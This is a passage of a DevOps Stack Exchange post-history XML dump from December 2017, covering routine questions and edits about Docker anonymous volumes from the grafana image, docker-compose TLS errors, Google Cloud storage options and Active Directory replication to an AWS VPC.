  <row Id="9346" PostHistoryTypeId="5" PostId="2988" RevisionGUID="45ea4f2c-4a62-463c-a9ac-f3e7058ee53b" CreationDate="2017-12-29T01:18:15.567" UserId="210" Comment="added 288 characters in body" Text="Research indicated that the [anonymous volumes][1] were created by `influxdb` and `grafana/grafana`. &#xD;&#xA;&#xD;&#xA;&gt; Anonymous volumes are not given an explicit name when they are first&#xD;&#xA;&gt; mounted into a container, so Docker gives them a random name that is&#xD;&#xA;&gt; guaranteed to be unique within a given Docker host. Besides the name,&#xD;&#xA;&gt; named and anonymous volumes behave in the same ways.&#xD;&#xA;&#xD;&#xA;**Results**&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      influxdb:&#xD;&#xA;        image: influxdb:latest&#xD;&#xA;        container_name: influxdb&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8086:8086&quot;&#xD;&#xA;        #env_file:&#xD;&#xA;        #  - 'env.influxdb'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - influxdb-data:/var/lib/influxdb&#xD;&#xA;    &#xD;&#xA;      grafana:&#xD;&#xA;        image: grafana/grafana:latest&#xD;&#xA;        container_name: grafana&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;        #env_file:&#xD;&#xA;        #  - 'env.grafana'&#xD;&#xA;        #  - 'secrets.grafana'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - grafana-data:/var/lib/grafana&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      backend:&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;      influxdb-data:&#xD;&#xA;      grafana-data:&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               604a07040367512b09c618c6dcc71a7f55390c9c23de6ab08be7466414ed62da&#xD;&#xA;    local               7f4b630073b31b6e772d3edef6da81b48643525edfc34281ea13fbd6b86ec270&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and everytime when `docker-compose down` and subsequenlty `up` is run the number of anonymous volumes doubles.&#xD;&#xA;&#xD;&#xA;*What will happen if nginx will be pulled instead of influxdb and grafana?*&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and after `docker-compose down &amp;&amp; docker-compose up -d`?&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;It looks like that certain images created the additional anonymous volumes. Let's replace influxdb with nginx and use grafana.&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               15b80416ab06abb629d9f634a0feff08f7c560f31d614b9b430855c16cdb75c7&#xD;&#xA;    local               205a6f19cbf992c95b2e3be9f2fb1ca9ecec35fce550d0b7a4b9f32b0ef163b1&#xD;&#xA;    local               474108f5b7b14fba92a3e5a980f3bf851388b2ee25d7417df5c42d9f176e084b&#xD;&#xA;    local               5830a31a470ec8a42ddae7a37bb50487f3f36360318b2f9f5301b338507782b4&#xD;&#xA;    local               9f00868a2fec0cfc0d34dc12d0879d39487a13128863722f400ad4c47df2d340&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;    local               f47b1b7bbec8e50b32a7c39704c7c218165b284298d852313fa24bc7cbe6acc5&#xD;&#xA;&#xD;&#xA;Everytime docker compose was run again, three anonymous volumes were created by the `grafana/grafana` docker image. Let's replace influxdb with nginx and revert the grafana to nginx:&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and it remains two if restarted.&#xD;&#xA;&#xD;&#xA;It looks like that grafana is causing the issue.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Why are three new anonymous volumes created everytime grafana/grafana is restarted?&#xD;&#xA;&#xD;&#xA;[The dockerfile][2] indicates that three anonymous will be created:&#xD;&#xA;&#xD;&#xA;&gt;     VOLUME [&quot;/var/lib/grafana&quot;, &quot;/var/log/grafana&quot;, &quot;/etc/grafana&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/admin/volumes/&#xD;&#xA;  [2]: https://github.com/grafana/grafana-docker/blob/master/Dockerfile#L16" ContentLicense="CC BY-SA 3.0" />
  <row Id="9347" PostHistoryTypeId="5" PostId="2988" RevisionGUID="6932492e-8458-4fad-90a2-69ae966852bc" CreationDate="2017-12-29T01:23:28.790" UserId="210" Comment="added 288 characters in body" Text="Research indicated that the [anonymous volumes][1] were created by `influxdb` and `grafana/grafana`. &#xD;&#xA;&#xD;&#xA;&gt; Anonymous volumes are not given an explicit name when they are first&#xD;&#xA;&gt; mounted into a container, so Docker gives them a random name that is&#xD;&#xA;&gt; guaranteed to be unique within a given Docker host. Besides the name,&#xD;&#xA;&gt; named and anonymous volumes behave in the same ways.&#xD;&#xA;&#xD;&#xA;**Results**&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      influxdb:&#xD;&#xA;        image: influxdb:latest&#xD;&#xA;        container_name: influxdb&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8086:8086&quot;&#xD;&#xA;        #env_file:&#xD;&#xA;        #  - 'env.influxdb'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - influxdb-data:/var/lib/influxdb&#xD;&#xA;    &#xD;&#xA;      grafana:&#xD;&#xA;        image: grafana/grafana:latest&#xD;&#xA;        container_name: grafana&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;        #env_file:&#xD;&#xA;        #  - 'env.grafana'&#xD;&#xA;        #  - 'secrets.grafana'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - grafana-data:/var/lib/grafana&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      backend:&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;      influxdb-data:&#xD;&#xA;      grafana-data:&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               604a07040367512b09c618c6dcc71a7f55390c9c23de6ab08be7466414ed62da&#xD;&#xA;    local               7f4b630073b31b6e772d3edef6da81b48643525edfc34281ea13fbd6b86ec270&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and everytime when `docker-compose down` and subsequenlty `up` is run the number of anonymous volumes doubles.&#xD;&#xA;&#xD;&#xA;*What will happen if nginx will be pulled instead of influxdb and grafana?*&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and after `docker-compose down &amp;&amp; docker-compose up -d`?&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;It looks like that certain images created the additional anonymous volumes. Let's replace influxdb with nginx and use grafana.&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               15b80416ab06abb629d9f634a0feff08f7c560f31d614b9b430855c16cdb75c7&#xD;&#xA;    local               205a6f19cbf992c95b2e3be9f2fb1ca9ecec35fce550d0b7a4b9f32b0ef163b1&#xD;&#xA;    local               474108f5b7b14fba92a3e5a980f3bf851388b2ee25d7417df5c42d9f176e084b&#xD;&#xA;    local               5830a31a470ec8a42ddae7a37bb50487f3f36360318b2f9f5301b338507782b4&#xD;&#xA;    local               9f00868a2fec0cfc0d34dc12d0879d39487a13128863722f400ad4c47df2d340&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;    local               f47b1b7bbec8e50b32a7c39704c7c218165b284298d852313fa24bc7cbe6acc5&#xD;&#xA;&#xD;&#xA;Everytime docker compose was run again, three anonymous volumes were created by the `grafana/grafana` docker image. Let's replace influxdb with nginx and revert the grafana to nginx:&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and it remains two if restarted.&#xD;&#xA;&#xD;&#xA;It looks like that grafana is causing the issue.&#xD;&#xA;&#xD;&#xA;**Why are three new anonymous volumes created everytime grafana/grafana is restarted?**&#xD;&#xA;&#xD;&#xA;[The dockerfile][2] indicates that three anonymous volumes will be created:&#xD;&#xA;&#xD;&#xA;&gt;     VOLUME [&quot;/var/lib/grafana&quot;, &quot;/var/log/grafana&quot;, &quot;/etc/grafana&quot;]&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/reference/builder/#volume&#xD;&#xA;&#xD;&#xA;&gt;     FROM ubuntu&#xD;&#xA;&gt;     RUN mkdir /myvol&#xD;&#xA;&gt;     RUN echo &quot;hello world&quot; &gt; /myvol/greeting&#xD;&#xA;&gt;     VOLUME /myvol&#xD;&#xA;&gt; &#xD;&#xA;&gt; This Dockerfile results in an image that causes docker run, to create&#xD;&#xA;&gt; a new mount point at /myvol and copy the greeting file into the newly&#xD;&#xA;&gt; created volume.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/admin/volumes/&#xD;&#xA;  [2]: https://github.com/grafana/grafana-docker/blob/master/Dockerfile#L16" ContentLicense="CC BY-SA 3.0" />
  <row Id="9348" PostHistoryTypeId="5" PostId="2988" RevisionGUID="0bd455fa-8b8e-4d07-b1f8-01e07d24a46e" CreationDate="2017-12-29T01:28:35.470" UserId="210" Comment="added 288 characters in body" Text="Research indicated that the [anonymous volumes][1] were created by `influxdb` and `grafana/grafana`. &#xD;&#xA;&#xD;&#xA;&gt; Anonymous volumes are not given an explicit name when they are first&#xD;&#xA;&gt; mounted into a container, so Docker gives them a random name that is&#xD;&#xA;&gt; guaranteed to be unique within a given Docker host. Besides the name,&#xD;&#xA;&gt; named and anonymous volumes behave in the same ways.&#xD;&#xA;&#xD;&#xA;**Results**&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      influxdb:&#xD;&#xA;        image: influxdb:latest&#xD;&#xA;        container_name: influxdb&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8086:8086&quot;&#xD;&#xA;        #env_file:&#xD;&#xA;        #  - 'env.influxdb'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - influxdb-data:/var/lib/influxdb&#xD;&#xA;    &#xD;&#xA;      grafana:&#xD;&#xA;        image: grafana/grafana:latest&#xD;&#xA;        container_name: grafana&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;        #env_file:&#xD;&#xA;        #  - 'env.grafana'&#xD;&#xA;        #  - 'secrets.grafana'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - grafana-data:/var/lib/grafana&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      backend:&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;      influxdb-data:&#xD;&#xA;      grafana-data:&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               604a07040367512b09c618c6dcc71a7f55390c9c23de6ab08be7466414ed62da&#xD;&#xA;    local               7f4b630073b31b6e772d3edef6da81b48643525edfc34281ea13fbd6b86ec270&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and everytime when `docker-compose down` and subsequenlty `up` is run the number of anonymous volumes doubles.&#xD;&#xA;&#xD;&#xA;*What will happen if nginx will be pulled instead of influxdb and grafana?*&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and after `docker-compose down &amp;&amp; docker-compose up -d`?&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;It looks like that certain images created the additional anonymous volumes. Let's replace influxdb with nginx and use grafana.&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               15b80416ab06abb629d9f634a0feff08f7c560f31d614b9b430855c16cdb75c7&#xD;&#xA;    local               205a6f19cbf992c95b2e3be9f2fb1ca9ecec35fce550d0b7a4b9f32b0ef163b1&#xD;&#xA;    local               474108f5b7b14fba92a3e5a980f3bf851388b2ee25d7417df5c42d9f176e084b&#xD;&#xA;    local               5830a31a470ec8a42ddae7a37bb50487f3f36360318b2f9f5301b338507782b4&#xD;&#xA;    local               9f00868a2fec0cfc0d34dc12d0879d39487a13128863722f400ad4c47df2d340&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;    local               f47b1b7bbec8e50b32a7c39704c7c218165b284298d852313fa24bc7cbe6acc5&#xD;&#xA;&#xD;&#xA;Everytime docker compose was run again, three anonymous volumes were created by the `grafana/grafana` docker image. Let's replace influxdb with nginx and revert the grafana to nginx:&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               devopsstackexchange_grafana-data&#xD;&#xA;    local               devopsstackexchange_influxdb-data&#xD;&#xA;&#xD;&#xA;and it remains two if restarted.&#xD;&#xA;&#xD;&#xA;It looks like that grafana is causing the issue.&#xD;&#xA;&#xD;&#xA;**Why are three new anonymous volumes created everytime grafana/grafana is restarted?**&#xD;&#xA;&#xD;&#xA;[The grafana/grafana dockerfile][2] indicates that three anonymous volumes will be created:&#xD;&#xA;&#xD;&#xA;&gt;     VOLUME [&quot;/var/lib/grafana&quot;, &quot;/var/log/grafana&quot;, &quot;/etc/grafana&quot;]&#xD;&#xA;&#xD;&#xA;https://docs.docker.com/engine/reference/builder/#volume&#xD;&#xA;&#xD;&#xA;&gt;     FROM ubuntu&#xD;&#xA;&gt;     RUN mkdir /myvol&#xD;&#xA;&gt;     RUN echo &quot;hello world&quot; &gt; /myvol/greeting&#xD;&#xA;&gt;     VOLUME /myvol&#xD;&#xA;&gt; &#xD;&#xA;&gt; This Dockerfile results in an image that causes docker run, to create&#xD;&#xA;&gt; a new mount point at /myvol and copy the greeting file into the newly&#xD;&#xA;&gt; created volume.&#xD;&#xA;&#xD;&#xA;`docker volume inspect &lt;volume name, e.g. 34cfafd4603dbc7e71a83e2520f978c8307b084143b3192de65a1995dc1d2f86&gt;` returned grafana data when the path that was returned was checked of two out of three anonymous volumes:&#xD;&#xA;&#xD;&#xA;    sudo ls /var/lib/docker/volumes/a0ecd00df8fc68ef36e777c7bf9ec5a496ee30e313b86889487501a53fa2e28e/_data&#xD;&#xA;    grafana.ini  ldap.toml&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;    sudo ls /var/lib/docker/volumes/34cfafd4603dbc7e71a83e2520f978c8307b084143b3192de65a1995dc1d2f86/_data&#xD;&#xA;    grafana.db  plugins&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/admin/volumes/&#xD;&#xA;  [2]: https://github.com/grafana/grafana-docker/blob/master/Dockerfile#L16" ContentLicense="CC BY-SA 3.0" />
  <row Id="9349" PostHistoryTypeId="6" PostId="2947" RevisionGUID="dee5535e-4478-480a-991f-c77aa593e91e" CreationDate="2017-12-29T01:35:10.463" UserId="3015" Comment="Added [networking] tag since that's also relevant to the question." Text="&lt;docker&gt;&lt;containers&gt;&lt;networking&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9350" PostHistoryTypeId="24" PostId="2947" RevisionGUID="dee5535e-4478-480a-991f-c77aa593e91e" CreationDate="2017-12-29T01:35:10.463" Comment="Proposed by 3015 approved by 40, 210 edit id of 579" ContentLicense="CC BY-SA 3.0" />
  <row Id="9351" PostHistoryTypeId="6" PostId="827" RevisionGUID="190e7a92-a50e-425b-ba44-c877757869b1" CreationDate="2017-12-29T01:38:24.273" UserId="3015" Comment="Added [google-cloud-platform] tag as this is about databases on GCP overall, not just GCS." Text="&lt;databases&gt;&lt;google-cloud-platform&gt;&lt;google-cloud-storage&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9352" PostHistoryTypeId="24" PostId="827" RevisionGUID="190e7a92-a50e-425b-ba44-c877757869b1" CreationDate="2017-12-29T01:38:24.273" Comment="Proposed by 3015 approved by 40, 210 edit id of 577" ContentLicense="CC BY-SA 3.0" />
  <row Id="9353" PostHistoryTypeId="5" PostId="828" RevisionGUID="902c5531-759a-4e16-be77-e72572a59677" CreationDate="2017-12-29T08:55:22.347" UserId="3015" Comment="Spanner is no longer beta." Text="I don't know much about Redis/ElasticSearch, but GCS is not really a database-like solution, it is closer to a file storage solution.&#xD;&#xA;&#xD;&#xA;If you're looking for database-like storage Google Cloud offers:&#xD;&#xA;&#xD;&#xA;- [Cloud SQL][1]&#xD;&#xA;- [Cloud Bigtable][2]&#xD;&#xA;- [Cloud Datastore][3]&#xD;&#xA;- [Cloud Spanner][4]&#xD;&#xA;&#xD;&#xA;If you expect a modest app traffic or alternating high/low traffic it *might* be more cost-effective (and simpler) to have a [Google App Engine][5] app instead of a GCE-based solution.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://cloud.google.com/sql/&#xD;&#xA;  [2]: https://cloud.google.com/bigtable/&#xD;&#xA;  [3]: https://cloud.google.com/datastore/&#xD;&#xA;  [4]: https://cloud.google.com/spanner/&#xD;&#xA;  [5]: https://cloud.google.com/appengine/docs/" ContentLicense="CC BY-SA 3.0" />
  <row Id="9354" PostHistoryTypeId="24" PostId="828" RevisionGUID="902c5531-759a-4e16-be77-e72572a59677" CreationDate="2017-12-29T08:55:22.347" Comment="Proposed by 3015 approved by 40, 47 edit id of 576" ContentLicense="CC BY-SA 3.0" />
  <row Id="9355" PostHistoryTypeId="4" PostId="2960" RevisionGUID="30a096f3-2027-484f-84a0-cd263787e2fd" CreationDate="2017-12-29T08:55:42.827" UserId="3015" Comment="Fixed capitalization in the title." Text="Meaning of metrics in Google Cloud Console" ContentLicense="CC BY-SA 3.0" />
  <row Id="9356" PostHistoryTypeId="24" PostId="2960" RevisionGUID="30a096f3-2027-484f-84a0-cd263787e2fd" CreationDate="2017-12-29T08:55:42.827" Comment="Proposed by 3015 approved by 40, 47 edit id of 578" ContentLicense="CC BY-SA 3.0" />
  <row Id="9357" PostHistoryTypeId="2" PostId="2989" RevisionGUID="9cfdb46f-8af0-4bea-bdea-f1fed22f2e93" CreationDate="2017-12-30T04:02:33.227" UserId="5915" Text="I _had_ my docker env variables set like this:&#xD;&#xA;&#xD;&#xA;    set -gx DOCKER_TLS_VERIFY &quot;1&quot;;&#xD;&#xA;    set -gx DOCKER_HOST &quot;tcp://xxx.xxx.xxx.xxx:2376&quot;;&#xD;&#xA;    set -gx DOCKER_CERT_PATH &quot;/home/me/.docker/machine/machines/myhost&quot;;&#xD;&#xA;    set -gx DOCKER_MACHINE_NAME &quot;myhost&quot;;&#xD;&#xA;&#xD;&#xA;When I tried running `docker-compose up`, I got this error:&#xD;&#xA;&#xD;&#xA;    backports.ssl_match_hostname.CertificateError: hostname 'xxx.xxx.xxx.xxx' doesn't match 'localhost'&#xD;&#xA;&#xD;&#xA;Weird. But then i happened upon [this blog post](https://thobalose.co.za/2016/docker-compose-ssl-error/) that recommended that i set my local dns to point `localhost` to `xxx.xxx.xxx.xxx`. And it worked!&#xD;&#xA;&#xD;&#xA;This is super janky though. Why did this solution work? And more importantly, what can I do to not use it again?&#xD;&#xA;&#xD;&#xA;Thank you!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9358" PostHistoryTypeId="1" PostId="2989" RevisionGUID="9cfdb46f-8af0-4bea-bdea-f1fed22f2e93" CreationDate="2017-12-30T04:02:33.227" UserId="5915" Text="Had to point localhost to remote ip for docker-compose to work. why?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9359" PostHistoryTypeId="3" PostId="2989" RevisionGUID="9cfdb46f-8af0-4bea-bdea-f1fed22f2e93" CreationDate="2017-12-30T04:02:33.227" UserId="5915" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9360" PostHistoryTypeId="2" PostId="2990" RevisionGUID="421a25af-6b1f-4a2f-897b-f9625b97ce4a" CreationDate="2017-12-30T04:38:00.620" UserId="465" Text="In our work environment we have a standard Corporate Intranet with [Active Directory][1]. &#xD;&#xA;&#xD;&#xA;We've been granted limited access to an [AWS VPC][2]. Our connection allows outbound (from the Intranet to the VPC) but not inbound. &#xD;&#xA;&#xD;&#xA;That is - if we run a webserver in the AWS VPC, then a client in the Corporate Intranet can connect and browse to it. But a client in the AWS VPC cannot connect to a webserver in the Corporate intranet. Note that this 'outbound connections only principle' applies to all ports, not just http port 80. &#xD;&#xA;&#xD;&#xA;An associate has suggested we need to replicate our Active Directory down to the [AWS VPC AD][3]. I think it is not possible to do a one-way replication. &#xD;&#xA;&#xD;&#xA;My question is: **Can you replicate Active Directory from a Corporate Intranet to an AWS VPC where there is an outbound-only link?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://msdn.microsoft.com/en-us/library/bb742424.aspx&#xD;&#xA;  [2]: https://aws.amazon.com/vpc/&#xD;&#xA;  [3]: https://docs.aws.amazon.com/quickstart/latest/active-directory-ds/overview.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="9361" PostHistoryTypeId="1" PostId="2990" RevisionGUID="421a25af-6b1f-4a2f-897b-f9625b97ce4a" CreationDate="2017-12-30T04:38:00.620" UserId="465" Text="Can you replicate Active Directory from a Corporate Intranet to an AWS VPC where there is an outbound-only link?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9362" PostHistoryTypeId="3" PostId="2990" RevisionGUID="421a25af-6b1f-4a2f-897b-f9625b97ce4a" CreationDate="2017-12-30T04:38:00.620" UserId="465" Text="&lt;amazon-web-services&gt;&lt;aws-vpc&gt;&lt;active-directory&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="9363" PostHistoryTypeId="2" PostId="2991" RevisionGUID="aaac2b40-524e-441a-83e2-06e989e63e73" CreationDate="2017-12-30T04:38:44.563" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="9364" PostHistoryTypeId="1" PostId="2991" RevisionGUID="aaac2b40-524e-441a-83e2-06e989e63e73" CreationDate="2017-12-30T04:38:44.563" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9365" PostHistoryTypeId="2" PostId="2992" RevisionGUID="df7c3025-bbbd-40be-af7e-24152634e6a5" CreationDate="2017-12-30T04:38:44.563" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="9366" PostHistoryTypeId="1" PostId="2992" RevisionGUID="df7c3025-bbbd-40be-af7e-24152634e6a5" CreationDate="2017-12-30T04:38:44.563" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9367" PostHistoryTypeId="5" PostId="2991" RevisionGUID="5544a666-ec25-4221-8e3f-668b8ca4a858" CreationDate="2017-12-30T07:02:03.503" UserId="465" Comment="added 421 characters in body" Text="Active Directory (AD) is a directory service that Microsoft developed for Windows domain networks. It is included in most Windows Server operating systems as a set of processes and services. Initially, Active Directory was only in charge of centralized domain management. Starting with Windows Server 2008, however, Active Directory became an umbrella title for a broad range of directory-based identity-related services." ContentLicense="CC BY-SA 3.0" />
  <row Id="9368" PostHistoryTypeId="24" PostId="2991" RevisionGUID="5544a666-ec25-4221-8e3f-668b8ca4a858" CreationDate="2017-12-30T07:02:03.503" Comment="Proposed by 465 approved by 228, 40 edit id of 580" ContentLicense="CC BY-SA 3.0" />
  <row Id="9369" PostHistoryTypeId="5" PostId="2992" RevisionGUID="b23768c7-f0ea-46e4-88d1-53460f398753" CreationDate="2017-12-30T07:02:09.520" UserId="465" Comment="added 99 characters in body" Text="Active Directory (AD) is a directory service that Microsoft developed for Windows domain networks. " ContentLicense="CC BY-SA 3.0" />
  <row Id="9370" PostHistoryTypeId="24" PostId="2992" RevisionGUID="b23768c7-f0ea-46e4-88d1-53460f398753" CreationDate="2017-12-30T07:02:09.520" Comment="Proposed by 465 approved by 228, 40 edit id of 581" ContentLicense="CC BY-SA 3.0" />
  <row Id="9371" PostHistoryTypeId="5" PostId="2967" RevisionGUID="bbc7ad6f-e6c9-45f2-ade9-288fe0052394" CreationDate="2017-12-30T08:23:48.760" UserId="210" Comment="added 171 characters in body" Text="When starting a docker compose application, it creates named volume the first time around and then additional volumes each time it is started. Is this the normal behavior in that it creates incremental volumes or is my docker-compose file broken? In addition, after running `docker volume prune`, it removed two of the unnamed volumes&#xD;&#xA;&#xD;&#xA;This is the output after starting it twice:&#xD;&#xA;&#xD;&#xA;    DRIVER              VOLUME NAME&#xD;&#xA;    local               2b33c81e6e955ff36061f4120b7181c7efc7aebded2f87eaa7290027f1e7a725&#xD;&#xA;    local               74301eadc75018d6f7da76aec44bcf743e03261492cfcc33211941684a570030&#xD;&#xA;    local               c42b1e2c17342c52b4b9e90f4d4b7fa24ccb30de5479e65cf4366e2373dfb0bf&#xD;&#xA;    local               dcfa63dbf99362fc92fe3b981f50abebfe1bba03063d4dd9dd790f4c058817cf&#xD;&#xA;    local               dockerinfluxdbgrafana_grafana-data&#xD;&#xA;    local               dockerinfluxdbgrafana_influxdb-data&#xD;&#xA;&#xD;&#xA;And for reference my docker-compose file&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      influxdb:&#xD;&#xA;        image: influxdb:latest&#xD;&#xA;        container_name: influxdb&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;8086:8086&quot;&#xD;&#xA;        env_file:&#xD;&#xA;          - 'env.influxdb'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - influxdb-data:/var/lib/influxdb&#xD;&#xA;      &#xD;&#xA;      grafana:&#xD;&#xA;        image: grafana/grafana:latest&#xD;&#xA;        container_name: grafana&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;3000:3000&quot;&#xD;&#xA;        env_file:&#xD;&#xA;          - 'env.grafana'&#xD;&#xA;          - 'secrets.grafana'&#xD;&#xA;        networks:&#xD;&#xA;          - backend&#xD;&#xA;        volumes:&#xD;&#xA;          - grafana-data:/var/lib/grafana&#xD;&#xA;    &#xD;&#xA;    networks:&#xD;&#xA;      backend:&#xD;&#xA;    &#xD;&#xA;    volumes:&#xD;&#xA;      influxdb-data:&#xD;&#xA;      grafana-data:&#xD;&#xA;&#xD;&#xA;**Steps to reproduce**&#xD;&#xA;&#xD;&#xA;    docker-compose up -d &amp;&amp; docker-compose down &amp;&amp; docker-compose up -d &amp;&amp; docker-compose down &amp;&amp; docker-compose up -d &amp;&amp; docker-compose down" ContentLicense="CC BY-SA 3.0" />
  <row Id="9372" PostHistoryTypeId="4" PostId="2967" RevisionGUID="bbc7ad6f-e6c9-45f2-ade9-288fe0052394" CreationDate="2017-12-30T08:23:48.760" UserId="210" Comment="added 171 characters in body" Text="Why are unnamed volumes created when `docker-compose up` is run and do these double after issuing `docker-compose down &amp;&amp; docker-compose up`?" ContentLicense="CC BY-SA 3.0" />
  <row Id="9373" PostHistoryTypeId="5" PostId="740" RevisionGUID="33e2f702-2437-4907-ac9e-9a09af2f25d1" CreationDate="2017-12-30T10:39:29.920" UserId="210" Comment="added 1 character in body" Text="**Why this question?**&#xD;&#xA;&#xD;&#xA;The reason for posting this Q&amp;A is that sometimes certain software is required to compile software in a docker image. Once compiled, these packages are superfluous and should be removed in order to reduce the image size. In some cases images that were more than 1.5GB where reduced to less than 300MB. The following use case does not represent a real world scenario, but provides an example of this use case.&#xD;&#xA;&#xD;&#xA;**Attempts to solve the issue**&#xD;&#xA;&#xD;&#xA;It works to remove a directory when the remove command is defined in the same layer as the creation of the folder:&#xD;&#xA;&#xD;&#xA;    FROM alpine&#xD;&#xA;    RUN mkdir dir &amp;&amp; cd dir &amp;&amp; wget http://google.com &amp;&amp; rm -rf dir&#xD;&#xA;&#xD;&#xA;results in:&#xD;&#xA;&#xD;&#xA;    user@host$ docker build -t dir .&#xD;&#xA;    Sending build context to Docker daemon 1.336 MB&#xD;&#xA;    Step 1/2 : FROM alpine&#xD;&#xA;     ---&gt; 